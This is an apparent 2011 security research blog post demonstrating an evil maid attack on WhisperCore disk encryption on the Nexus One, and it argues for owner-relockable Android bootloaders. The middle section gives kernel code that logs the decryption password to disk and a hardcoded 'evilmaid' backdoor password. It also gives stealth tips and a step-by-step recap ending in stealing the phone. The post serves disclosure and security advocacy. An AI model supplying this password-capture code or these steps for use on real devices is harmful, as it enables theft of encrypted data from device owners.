Daniel DeFreez


evil maid goes after WhisperCore

why we need a securable bootloader

First published: 9/25/11 - Last revised: 10/3/11


Evil Maid

Keeping data safe is a difficult proposition. Keeping data safe while an attacker has physical access to the relevant device is nearly an impossible proposition. Yet, particularly as devices become smaller and more mobile, nearly every technologically-engaged person risks losing physical control of their device(s) on a daily basis, be it through theft, loss, or seizure. It has become imperative, then, for anyone interested in the privacy of their data to develop a strategy for protecting that data against offline attacks. Full Disk Encryption (FDE) is generally regarded as the best way to protect data in the event a device falls into the wrong hands. TrueCrypt, BitLocker, PGP Whole Disk Encryption, and many others have implemented FDE for the major desktop operating systems. As phones and tablets increasingly become the center of a person's computing experience, the need to encrypt a person's data on those devices has become obvious. For Android, in particular, WhisperSystems has included FDE in their security-oriented build WhisperCore, and Google itself included FDE in Android 3.x (Honeycomb).

Encryption has been successful at protecting data at rest, but implementations often remain susceptible to a class of boot-time attacks collectively referred to as "evil maid" attacks. Evil maid attacks are essentially boot-time keyloggers that sniff the FDE decryption password as the user decrypts the disk, made possible by the fact that full disk encryption is something of a misnomer. Entire partitions are often left unencrypted if they do not contain user data. The bootloader itself may be signed or encrypted, offering a degree of protection against evil maid attacks, but doing so isn't foolproof and comes at a price, as we shall see. Unencrypted and unsigned boot code can be infected, allowing an attacker to record the decryption passphrase and return later to take the device. Yes, encryption does make accessing the data a little more difficult, as the attacker needs physical access to the device at least twice, but such access certainly is not outside the realm of possibility.

Against a desktop or laptop computer, evil maid attacks are typically implemented by booting from an alternate device, such as a thumb drive in Joanna Rutkowska's attack against TrueCrypt. Mobile devices offer natural protection against evil maid attacks in the form of locked bootloaders. There is no easy way to boot an Android phone or tablet from peripheral storage, and it is usually either impossible to modify the OS image without an exploit or doing so requires wiping the device. Unfortunately, the restrictive nature of the locking and unlocking mechanisms commonly impede utility by forcing the OS image to be signed by the vendor, rather than by the owner/operator of the device. It will be demonstrated that WhisperCore on the Nexus One, because it requires an unlocked bootloader, is inherently vulnerable to evil maid attacks. WhisperCore on the Nexus S, however, is comparatively resistant because the Nexus S bootloader can be relocked without reverting to stock images. The reference tablet architecture for Honeycomb is capable of deploying FDE without unlocking the bootloader, but only at a steep price: all OS images remain entirely default and therefore all of the security advantages offered by distributions such as WhisperCore are forfeited. Because the majority of bootloaders have been designed by phone manufacturers for their own purposes, end-users are required to accept the level of security provided by the default OS build. This situation is crippling the ability of firms to enhance the platform and forcing the hobbyist community to accept inferior security. At the time of writing, the rumored launch of the "Nexus Prime," running Android 4.0 (Ice Cream Sandwich, or ICS) is only a few weeks away. ICS will supposedly merge the phone and tablet branches of Android. Whether or not a Nexus S style bootloader is used will be telling for the future of Android security.

Attacking WhisperCore

WhisperCore is a security-oriented Android distribution developed by Whisper Systems, which was founded by notable security researcher Moxie Marlinspike. WhisperCore is currently available for the flagship Android phones (Nexus One and Nexus S). In addition to FDE, WhisperCore provides a significant number of security features, including a firewall, encrypted backups, and encrypted voice and text messaging. Some of these features can be used on a stock build of Android and are available in the Android market, while others require the full WhisperCore build. Furthermore, WhisperCore tends to receive important updates that other Android builds overlook, such as removing the DigiNotar root CA after it was compromised. Not only was the certificate removed, but Whisper Systems went so far as to extend the Android framework with a certificate blacklisting system to prevent an SSL connection from any application using even an intermediate DigitNotar certificate. While FDE was one of the first and most significant features, WhisperCore offers a number of security improvements that end-users are unlikely to get from stock Android, even if Android includes FDE natively.

Deploying WhisperCore to a phone necessarily involves unlocking the bootloader. The Nexus series of phones use the HBOOT bootloader, which uses the fastboot protocol to communicate with a computer connected via USB. Nexus phones are popular in the Android community not only because they provide a "pure" Android experience, but because they have easily unlockable bootloaders. To unlock a Nexus phone, simply connect it to a computer which has the fastboot utility installed and issue one command: fastboot oem unlock.

Unlocking the bootloader wipes the phone and activates fastboot extended commands, enabling a user to flash custom images on the phone. The WhisperCore installer does this for the user automatically (after a warning). WhisperCore flashes a custom system partition containing the WhisperCore utilities, and a custom boot partition with a modified kernel and ramdisk. Crucially, on the Nexus S the bootloader is then relocked. Unlocking the bootloader to perform an attack would cause all data to be lost. On the Nexus One, relocking is not possible, leaving the device susceptible to evil maid attacks.

WhisperYAFFS

WhisperCore includes two separate two FDE implementations, one for the Nexus One and one for the Nexus S. WhisperCore on the Nexus One uses an xts(aes) encryption layer on top of YAFFS2, which is the native filesystem. On the Nexus S, where ext4 is the native filesystem, DM-Crypt with LUKS is used. DM-Crypt with LUKS is the same encryption mechanism that Honeycomb uses, and often how Linux desktops are encrypted. The rest of this section will focus on WhisperCore as it exists running on a Nexus One phone.

YAFFS2, or Yet Another Flash Filesystem version 2, does not normally support encryption. Though Android appears to be moving toward ext4 on top of a hardware FTL, the vast majority of devices running Android still use YAFFS2. In order to provide encryption for devices using YAFFS2, Whisper Systems, impressively, developed an extension to YAFFS2 providing xts(aes) encryption at the page level. This extended version of YAFFS2 is branded WhisperYAFFS and, unlike the rest of WhisperCore, is released as open source software (likely by necessity, as YAFFS2 is distributed under the GPL unless a special license is obtained from Aleph One).

Because the source code for WhisperYAFFS is freely available, building an Android kernel with WhisperYAFFS support is relatively straight-forward (when android.git.kernel.org is available, which at the time of writing is not the case, due to the kernel.org compromise). The kernel for the Nexus One is contained in the kernel/msm.git project, which contains the Android kernel that runs on Qualcomm chipsets. The WhisperYAFFS code is a full replacement for YAFFS2 in the kernel; in the kernel source, the entire fs/yaffs2 directory can be removed and replaced with the WhisperYAFFS source. For our purposes, the most interesting portion of WhisperYAFFS to examine is in yaffs_vfs_glue.c. This is where WhisperYAFFS (and YAFFS2 before it) interfaces with Linux VFS to register the filesystem and mount devices. It turns out that the password used to mount an encrypted WhisperYAFFS filesystem is passed as a mount option. WhisperYAFFS has actually added two mount options, unlock_encrypted= and create_encrypted=, which perform self-evident functions. The password is passed after the equals sign, parsed into a struct, and then either the unlock or create functions are called. During the boot process, a modified init.mahimahi.rc is used to to call a binary on the system partition that presents a minimal UI for password entry and makes the appropriate mount call.

Switching Kernels

In order to perform the attack, a custom kernel will be built that can run WhisperCore, but has the unlock function hooked to store the decryption password. The entire kernel source for WhisperCore is not available, just WhisperYAFFS, so for the sanctity of the GPL hopefully nothing else has changed. When attempting to blindly replace a kernel for a target system, it is a good idea to replicate the kernel config, which is available at /proc/config.gz. In the example code published at https://github.com/defreez/android-kernel-msm, this config is stored at arch/arm/configs/whisper_defconfig. The build-kernel.sh shell script provided is a tweaked version of the script accompanying the goldfish (qemu emulator) version of the kernel, which conveniently uses the Android build system for cross-compilation. Pulling the config and building it with WhisperYAFFS is sufficient to boot WhisperCore.

In order to retrieve the unlock password, a little bit of code is tacked on to the the yaffs_UnlockEncryptedFilesystem function in yaffs_vfs_glue.c. A section is added after the key management block has been successfully decrypted - ensuring the password the user has entered is correct - which writes the password out to a file on the unencrypted system partition. The SD card would have been the first logical choice, but WhisperCore contains an option to encrypt the SD card as well. The system partition is normally read-only, so it is first remounted RW. The password is written to /system/etc/em.txt, though the location is arbitrary. After the password has been written, the system partition is remounted RO. Any number of different approaches could be taken to write the password out to a more subtle location that could be read later, perhaps in an area out of band from the normal filesystem, or to even send the password out over the network.

  // Evil Maid: Store correct password
  if (!evm) {
    do_mount("/dev/block/mtdblock5", "/system", "yaffs2", O_RDWR | MS_REMOUNT, NULL);

    old_fs = get_fs();
    set_fs(get_ds());
    file = filp_open("/system/etc/em.txt", O_CREAT | O_RDWR, 0644);

    if (! IS_ERR(file))
      vfs_write(file, password, strlen(password), &file->f_pos);    

    filp_close(file, NULL);
    set_fs(old_fs);

    do_mount("/dev/block/mtdblock5", "/system", "yaffs2", MS_RDONLY | MS_REMOUNT, NULL);
  }

The system partition, while a conveniently accessible location for writing during unlock, cannot be read offline. When the hypothetical evil maid returns to collect the device, /system will not be available because adbd is not listening. How then, does the evil maid retrieve the password? Hardcode a backdoor. If the user enters "evilmaid" as the password, then read the saved password from disk. The partition is decrypted and the phone boots normally.

// Evil Maid: Backdoor
if (!strcmp(password, "evilmaid")) {
    evm = 1;

    old_fs = get_fs();
    set_fs(get_ds());

    file = filp_open("/system/etc/em.txt", O_RDONLY, 0644);
    sz = vfs_llseek(file, 0, SEEK_END);
    vfs_llseek(file, 0, 0);
    password = (char*) kmalloc(sz, GFP_KERNEL);
    vfs_read(file, password, sz, &file->f_pos); 
    filp_close(file, NULL);

    set_fs(old_fs);
}

Finally, switching out the kernel will change the vermagic string. The vermagic string must match for kernel modules to load. In the Nexus One, wireless is provided by the bcm4329.ko kernel module, thus if the vermagic string changes wireless will not work. Breaking wireless is likely to tip off the target, so in the evil maid kernel the vermagic string has been hardcoded in the Makefile to match WhisperCore. As icing, the compile version can also be hardcoded by preventing scripts/mkcompile_h from overwriting compile.h. The advantage of doing so is that the "Kernel version" visible from the "About phone" settings menu will be indistinguishable from WhisperCore.

Applying the evil maid kernel to the phone requires repacking a boot image. There is a small utility in the exbootimg directory of the evil maid kernel source that, given the correct path to a boot image, will extract the kernel and ramdisk. The utility is a quick and dirty modification of mkbootimg that does not do much error checking, so make sure the boot image is valid. The WhisperCore download contains a boot.img. Simply swap out the kernel and repack with the mkbootimg utility that is built as part of the Android Open Source Project. The mkbootimg incantation is: mkbootimg --kernel EVILMAIDKERNEL --ramdisk EXRAMDISK -o /tmp/evilmaid.img --base 0x20000000. This boot image can be flashed to the phone and will save the decryption password as the disk is unlocked. A prebuilt boot image for WhisperCore 0.5.5 running on a Nexus One is available here.

To recap, the following steps will successfully perform an evil maid attack against WhisperCore on a Nexus One:

  1. Obtain the evil kernel here.
  2. Build the kernel with build-kernel.sh (requires functioning Android build environment, and assumes the kernel is in a subdirectory of AOSP root).
  3. Unpack the WhisperCore boot image with exbootimg.
  4. Pack an evil maid boot image with mkbootimg using the evil maid kernel and the WhisperCore ramdisk.
  5. When the target is away, flash the new boot image.
  6. Wait for the target to decrypt the phone.
  7. Steal the phone.

Honeycomb, Windows 8, etc.

Honeycomb (Android 3.x) was the first version of Android to include FDE natively. Unfortunately, it was also the first version of Android for which Google did not distribute the source code. Google has released as little of the Honeycomb source as possible to comply with the GPL, which is little more than the kernel. In an uncharacteristically candid tech note (one of only four available on source.android.com), describing in significant detail the "implementation of encryption in Android 3.0," the unnamed author(s) describe how the Honeycomb scheme was arrived at:

While the actual encryption work is a standard linux kernel feature, enabling it on an Android device proved somewhat tricky. The Android system tries to avoid incorporating GPL components, so using the cryptsetup command or libdevmapper were not available options. So making the appropriate ioctl(2) calls into the kernel was the best choice. The Android volume daemon (vold) already did this to support moving apps to the SD card, so I chose to leverage that work for whole disk encryption. ... The other big issue was how to get the password from the user on boot. The initial plan was to implement a minimal UI that could be invoked from init in the initial ramdisk, and then init would decrypt and mount /data. However, the UI engineer said that was a lot of work, and suggested instead that init communicate upon startup to tell the framework to pop up the password entry screen, get the password, and then shutdown and have the real framework started. It was decided to go this route, and this then led to a host of other decisions...

It is interesting to see the lengths to which Google will go to avoid using GPL components in Android. Google has declared that it will not release the source to Honeycomb, but Honeycomb certainly is susceptible to an evil maid attack if the bootloader is unlocked. The Honeycomb kernel is available and could be modified, or binary patches could be applied to vold itself. Of course, the bootloader doesn't have to be unlocked on a Honeycomb device to implement FDE. But then the end-user is stuck running stock Android in perpetuity, and is unable to secure their device beyond what Google has deigned to bother with.

The problem is that, to date, bootloaders on most Android devices cannot be relocked without reverting to stock images. The Motorola XOOM - the flagship Android 3.x device - can be relocked, but not without reverting the OS to its official release. This is of very little utility from a security perspective. What is useful is the ability to relock the bootloader with any image, as on the Nexus S.

A uncannily similar situation is playing itself out in the Windows 8 world. Microsoft has made a quite a stir by announcing that it would be switching to UEFI secure boot. UEFI secure boot, while in many ways a great idea, especially in regards to securing a device against evil maid attacks, is likely to have a keying problem when actually implemented in devices supporting Windows 8. The problem is that it is highly unlikely end-users will be able to re-key their devices. Matthew Garrett, a Red Hat developer, argued that because the keys are installed by an OEM, and cannot be changed by anyone other than the vendor, the switch will hamper a user's ability to install Linux on their Windows 8 Logo device. Microsoft responded to this criticism by declaring that secure boot could be disabled, thus allowing Linux to be installed. Gee, thanks. How generous. That is exactly the situation many Android devices are currently in. Windows 8 devices will be able to run signed copies of Windows securely, but there is no freedom to tinker without critically compromising the ability to implement core security features such as disk encryption. As Garrett puts it:

If Microsoft were serious about giving the end user control, they'd be mandating that systems ship without any keys installed. The user would then have the ability to make an informed and conscious decision to limit the flexibility of their system and install the keys. The user would be told what they'd be gaining and what they'd be giving up.

While it may not be necessary to ship without keys, the point remains. Google's policies around the Android boot environment do not differ much from what Microsoft is proposing for Windows 8. With Android - the "open" mobile platform - Google and its partners offer the same choice: run what we give you, or suffer a second-class experience. So far, the only exception has been the Nexus S, which lets the user relock the bootloader even if the OS images have been modified. Unfortunately, most phone manufacturers have not bothered to provide this relatively simple capability.

Conclusion

While the Android community has a tendency to ridicule locked bootloaders, securing the boot environment significantly mitigates offline attacks against "Full Disk Encryption" (FDE). Unfortunately, the methods typically used to secure the Android boot environment have not taken into account the need to protect 3rd party images. This is demonstrated by the differing resiliancy to evil maid attacks exhibited by WhisperCore on the Nexus One and the Nexus S. On the Nexus One, WhisperCore is incapable of defending against an evil maid attack because the bootloader must remain unlocked. On the Nexus S, which allows for the bootloader to be relocked with custom images, an evil maid attack would not be easy to execute. Devices running Honeycomb (Android 3.x) are capable of providing FDE that is resistant to software-based evil maid attacks, but at the price of requiring the user to run an unmodified version of Android. Stepping outside the Android world, the UEFI boot architecture touted by Microsoft as the end-all-be-all of boot security, imposes the same restrictions. Whatever boot mechanism is used, we need a method by which end-users can protect custom distributions, without requiring the certificates be burned in by the OEM. Until then, we are left with an unnecessarily closed system that hampers the ability of the community to contribute. While that may be the norm in the Windows industry, a supposedly open platform such as Android should allow users to secure their own builds, and Google should encourage manufacturers of Android devices to implement relockable bootloaders. Hopefully, when the next flagship Google phone is released it will have native FDE and include a Nexus S style relockable bootloader, setting the standard for Android devices. We shall see.